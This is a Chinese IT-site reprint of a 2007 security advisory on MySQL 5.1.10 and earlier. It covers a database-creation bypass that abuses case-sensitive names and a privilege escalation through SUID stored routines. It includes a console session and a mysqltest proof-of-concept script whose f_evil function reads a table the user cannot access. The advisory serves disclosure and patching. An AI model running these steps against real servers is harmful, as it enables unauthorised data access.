论坛 
IT客
设为首页
加入收藏
关于我们
首页  | 程序 | IT新闻 | IT基础 | 网络 | 系统 | 数据库 | 软件开发 | 软件下载 | 电影频道 | FLASH | 图片 | 技术文档 | 分类信息
网络 Cisco 网络设备 解决方案 系统 Windows Linux 服务器 系统安全 程序 Java Dotnet 数据库 Oracle MySQL MSSQL 软件开发 Web开发 桌面开发 IT基础 网页设计 平面设计 多媒体 工具软件 即时通讯 Flash FLASH爆笑 FLASH游戏 FLASH MTV FLASH彩铃 图片 明星 美女 笑话大全
子栏目  | MYSQL | POSTGRE
首页 > 系统 > Linux > Linux数据库 > MYSQL >
 
MySQL权限提升及安全限制绕过漏洞
作者: 发布时间:2007-07-10 17:51:05 来源:

受影响系统:

MySQL AB MySQL <= 5.1.10

描述:

BUGTRAQ ID: 19559

MySQL是一款使用非常广泛的开放源代码关系数据库系统,拥有各种平台的运行版本。

在MySQL上,拥有访问权限但无创建权限的用户可以创建与所访问数据库仅有名称字母大小写区别的新数据库。成功利用这个漏洞要求运行MySQL的文件系统支持区分大小写的文件名。

此外,由于在错误的安全环境中计算了suid例程的参数,攻击者可以通过存储的例程以例程定义者的权限执行任意DML语句。成功攻击要求用户对所存储例程拥有EXECUTE权限。

测试方法:

【警 告:以下程序(方法)可能带有攻击性,仅供安全研究与教学之用。使用者风险自负!】

1、创建数据库


$ mysql -h my.mysql.server -u sample -p -A sample
Enter password:
Welcome to the MySQL monitor. Commands end with ; or /g.
Your MySQL connection id is 263935 to server version: 4.1.16-standard

mysql> create database another;
ERROR 1044: Access denied for user 'sample'@'%' to database 'another'

mysql> create database sAmple;
Query OK, 1 row affected (0.00 sec)
 

2、权限提升


--disable_warnings
drop database if exists mysqltest1;
drop database if exists mysqltest2;
drop function if exists f_suid;
--enable_warnings

# Prepare playground
create database mysqltest1;
create database mysqltest2;
create user malory@localhost;
grant all privileges on mysqltest1.* to malory@localhost;

# Create harmless (but SUID!) function
create function f_suid(i int) returns int return 0;
grant execute on function test.f_suid to malory@localhost;

use mysqltest2;
# Create table in which malory@localhost will be interested but to which
# he won't have any access
create table t1 (i int);

connect (malcon, localhost, malory,,mysqltest1);

# Correct malory@localhost don't have access to mysqltest2.t1
--error ER_TABLEACCESS_DENIED_ERROR
select * from mysqltest2.t1;

# Create function which will allow to exploit security hole
delimiter |;
create function f_evil ()
returns int
sql security invoker
begin
set @a:= current_user();
set @b:= (select count(*) from mysqltest2.t1);
return 0;
end|
delimiter ;|

# Again correct
--error ER_TABLEACCESS_DENIED_ERROR
select f_evil();
select @a, @b;

# Oops!!! it seems that f_evil() is executed in the context of
# f_suid() definer, so malory@locahost gets all info that he wants
select test.f_suid(f_evil());
select @a, @b;

connection default;
drop user malory@localhost;
drop database mysqltest1;
drop database mysqltest2;
 

建议:

厂商补丁:MySQL AB

目前厂商已经发布了升级补丁以修复这个安全问题,请到厂商的主页下载。

【责编:landss】
  
评论】【加入收藏夹】【 】【打印】【关闭
※ 相关信息
无相关信息

发表评论
用户名: 密码:
验证码: 匿名发表
 
 搜索文章
 最新文章
·Win2K入侵检测实例分析
·Win2000 Server安全入门
·使用微软安全工具包加固Win2
·Windows2000安全检查清单
· 安全管理
·利用安全工具包保持系统的最
·怎么实施和做好入侵检测
·Win2k建立安全WEB站点的解决
·用“$”来加强共享资源的安全
·让你的IIS无懈可击
 热点文章 
· 我的xfce学习笔记(汉化)
·三个方法优化MySQL数据库查询
·IPW2100安装详细步骤说明
·Gnuplot科学绘图——入门篇
·Linux下使用Evolution收发Em
·在Archlinux 安装Maya7.01
·安装Linux中文输入法fcitx
·向Linux迁移的人才准备
·使用指南:好用的播放器mpd
·你应该知道的10个MySQL客户启

社区关于我们广告业务信息反馈合作伙伴网站地图
ITKee.Com 版权所有
Copyright © 2008 All rights reserved